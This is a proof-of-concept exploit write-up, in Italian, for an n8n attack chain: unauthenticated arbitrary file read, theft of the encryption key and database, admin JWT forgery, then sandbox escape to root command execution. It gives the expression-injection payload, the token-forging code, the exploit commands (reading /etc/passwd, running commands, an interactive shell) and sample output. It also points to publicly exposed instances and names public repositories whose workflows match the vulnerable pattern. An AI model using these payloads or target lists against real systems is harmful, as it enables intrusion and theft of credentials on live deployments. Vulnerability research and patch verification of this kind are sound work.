
POC per CVE-2026-21858
Lettura arbitraria di file non autenticata → Forgiatura del token admin → Bypass della sandbox → RCE
| CVE | CVE-2026-21858 (AFR) + CVE-2025-68613 (RCE) |
| CVSS | 10.0 + 9.9 (Critico) |
| Versioni interessate | <= 1.65.0 (AFR) / >= 0.211.0 (RCE) |
| Versione corretta | 1.121.0 (AFR) / 1.120.4+ (RCE) |
| Divulgata | 2026-01-07 11:09 UTC |
| Nome in codice | Ni8mare |
| Crediti | Dor Attias (Cyera) |
| Exploit | Chocapikk |
| Processo | Automazione IA: diff patch → repro → lab → exploit (~9h dopo la divulgazione) |
| Tipo | Prova di concetto - NON è un exploit universale (richiede una configurazione specifica del workflow, vedi Limitazioni) |
Catena RCE completa non autenticata su n8n:
L'esposizione è basata sulla versione. In termini di esposizione, esistono istanze n8n vulnerabili accessibili pubblicamente.
Risultati LeakIX: Visualizza istanze esposte
Questo exploit è stato sviluppato in modo indipendente rispetto all'analisi di Cyera (scoperta dopo il completamento). Differenze principali:
| Cyera (Ricerca originale) | Questo exploit | |
|---|---|---|
| Lettura file | Caricamento nella knowledge base dell'IA → interrogazione via chat | Risposta HTTP diretta |
| Prerequisiti | Workflow chat + integrazione IA | Qualsiasi form con caricamento file |
| Metodo RCE | Nodo "Execute Command" (disabilitato di default) | Iniezione di espressioni (funziona su installazioni predefinite) |
| Automazione | Demo manuale/concettuale | Script Python completamente automatizzato |
Entrambi gli approcci richiedono configurazioni specifiche del workflow. Cyera necessita di chat + integrazione IA, questo exploit richiede un form con nodo Respond. Vedi Limitazioni per i dettagli.
┌───────────────────────────────────────────────────────────┐
│ UNAUTHENTICATED │
├───────────────────────────────────────────────────────────┤
│ 1. Read /proc/self/environ → Find HOME directory │
│ 2. Read $HOME/.n8n/config → Get encryptionKey │
│ 3. Read $HOME/.n8n/database.sqlite → Get admin creds │
├───────────────────────────────────────────────────────────┤
│ TOKEN FORGE │
├───────────────────────────────────────────────────────────┤
│ 4. Derive JWT secret from encryptionKey │
│ 5. Forge admin session cookie │
├───────────────────────────────────────────────────────────┤
│ AUTHENTICATED RCE │
├───────────────────────────────────────────────────────────┤
│ 6. Create workflow with expression injection │
│ 7. Sandbox bypass via this.process.mainModule.require │
│ 8. Execute arbitrary commands │
└───────────────────────────────────────────────────────────┘
commit c8d604d2c466dd84ec24f4f092183d86e43f2518
Author: mfsiega
Date: Thu Nov 13 11:51:40 2025 +0100
Merge commit from fork
Il leggendario "Merge commit from fork" - quando vedi questo, qualcuno ha trovato qualcosa di piccante. 🌶️
// BEFORE (vulnerable)
const files = (context.getBodyData().files as IDataObject) ?? {};
await context.nodeHelpers.copyBinaryFile(file.filepath, ...)
// AFTER (fixed)
a.ok(req.contentType === 'multipart/form-data', 'Expected multipart/form-data');
Invia Content-Type: application/json → controlla filepath → leggi qualsiasi file.
n8n esegue in sandbox il codice utente (Code Node, espressioni) utilizzando vm2/isolated-vm. Altri vettori RCE:
| Tecnica | Stato |
|---|---|
| Nodo Execute Command | Disabilitato di default (N8N_ALLOW_EXEC_COMMAND=false) |
| Nodi SSH/HTTP | Eseguono su server remoti, non sull'host n8n |
| Escape sandbox Pyodide | CVE-2025-68668 - richiede il nodo Python Code |
| Iniezione di espressioni | CVE-2025-68613 - funziona su installazioni predefinite |
Ho usato Iniezione di espressioni perché funziona su qualsiasi n8n con impostazioni predefinite - nessun nodo speciale o configurazione richiesta. Il bypass Pyodide (CVE-2025-68668) richiede il nodo Python Code che potrebbe non essere disponibile su tutte le istanze.
={{ (function() {
var require = this.process.mainModule.require;
var execSync = require("child_process").execSync;
return execSync("id").toString();
})() }}
Le espressioni n8n hanno accesso a this.process.mainModule.require → escape completo della sandbox.
# JWT secret derivation
jwt_secret = sha256(encryption_key[::2]).hexdigest()
# JWT hash
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]
# Forge token
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")
docker compose up -d
# Wait ~60 seconds for setup
# Form: http://localhost:5678/form/vulnerable-form
# Creds: [email protected] / ExploitLab123!
# Read arbitrary file
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --read /etc/passwd
# Full chain with command
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --cmd "id"
# Interactive shell
uv run python exploit.py http://localhost:5678 /form/vulnerable-form
╔═══════════════════════════════════════════════════════════════╗
║ CVE-2026-21858 + CVE-2025-68613 - n8n Full Chain ║
║ Arbitrary File Read → Token Forge → Sandbox Bypass → RCE ║
╚═══════════════════════════════════════════════════════════════╝
[*] Target: http://localhost:5678/form/vulnerable-form
[*] Version: 1.65.0 (VULN)
[x] HOME directory
[+] HOME directory: /root
[x] Encryption key
[+] Encryption key: yusrXZV1...
[x] Database
[+] Database: 1327104 bytes
[x] Admin user
[+] Admin user: [email protected]
[x] Token forge
[+] Token forge: OK
[x] Admin access
[+] Admin access: GRANTED!
[+] Cookie: n8n-auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjljMWI5MzU0LTI5NzQtNGZlOS05OTc2LWVmZDM3ZWEyNWFlMiIsImhhc2giOiJGYzVQZjVkUDRxIn0.TrIjHV3_6pw6Syi4qme5larZeQElBJmo4Y_eSgL9_M0
[x] RCE
[+] RCE: OK
uid=0(root) gid=0(root) groups=0(root)
Questo NON è un exploit "pwn any n8n". Richiede condizioni specifiche per funzionare:
| Requisito | Descrizione |
|---|---|
| Form con caricamento file | Il target deve avere un workflow form con un campo di caricamento file |
| Nodo Respond to Webhook | Il workflow deve restituire il contenuto del file nella risposta HTTP |
| Workflow attivo | Il workflow del form deve essere attivato |
| Accesso non autenticato | Il form deve essere accessibile pubblicamente (senza autenticazione) |
Esempio di configurazione di workflow vulnerabile:
{
"nodes": [
{
"name": "Form Trigger",
"type": "n8n-nodes-base.formTrigger",
"parameters": {
"responseMode": "responseNode",
"formFields": {
"values": [{ "fieldLabel": "document", "fieldType": "file" }]
}
}
},
{
"name": "Respond",
"type": "n8n-nodes-base.respondToWebhook",
"parameters": {
"respondWith": "binary",
"inputDataFieldName": "document"
}
}
],
"connections": {
"Form Trigger": { "main": [[{ "node": "Respond" }]] }
}
}
Gli elementi chiave sono: fieldType: "file" + respondWith: "binary". Questo pattern è comune nei workflow di elaborazione file (convertitori, ridimensionatori di immagini, elaboratori di documenti).
Funziona:
Non funziona:
Nota: La vulnerabilità (lettura arbitraria di file) viene attivata indipendentemente dal metodo di esfiltrazione. Il nodo Respond è solo un modo per recuperare il contenuto. Metodi alternativi (OOB, altri nodi di output) potrebbero funzionare a seconda della configurazione del workflow.
Sfruttamento cieco: Se non esiste un nodo respond, il file viene comunque letto da n8n ma non può essere esfiltrato tramite risposta HTTP. Sarebbero necessarie tecniche alternative (OOB, timing).
Il pattern vulnerabile (Form Trigger + caricamento file + Respond to Webhook) esiste nei repository GitHub pubblici.
Nota: I repository di workflow n8n più popolari (>100⭐) non usano questo pattern. Si tratta di progetti comunitari/personali:
| Workflow File | File Fields | respondWith |
|---|---|---|
| ifcpipeline/.../ifcpipeline.json | IDS, IFC (x2) | binary ⚠️ |
| nano-banana-studio/.../03_multi_asset_processor.json | Immagini, Audio, Markdown | json |
| ticket-omnichannel-chat/.../Knowledge_base.json | Documento (PDF) | text |
| ai_resume_project/resume_rag.json | Caricamento file | allIncomingItems |
| fkgpt-portfolio/.../audio-transcription-analysis.json | File audio | text |
| n8n-backup/.../K3DwHQs0fnnm5UK0.json | file | text |
| voltixLandingPage/.../chatbotvoltix.json | Carica file | default |
| n8n-backup-zm/.../Ky1AiuIMbY1zoTLE.json | file | default |
| 8n8Workflows/.../3WoSqiBnZ56RtWMb.json | Carica il tuo documento | default |
| learn_earn_ai_insta/.../My workflow.json | carica il tuo file | default |
| finintworkshop/.../API using n8n (ToT).json |
Questi sono workflow contribuiti dalla community. Nessun template ufficiale di n8n.io utilizza questo pattern vulnerabile.
| file |
json |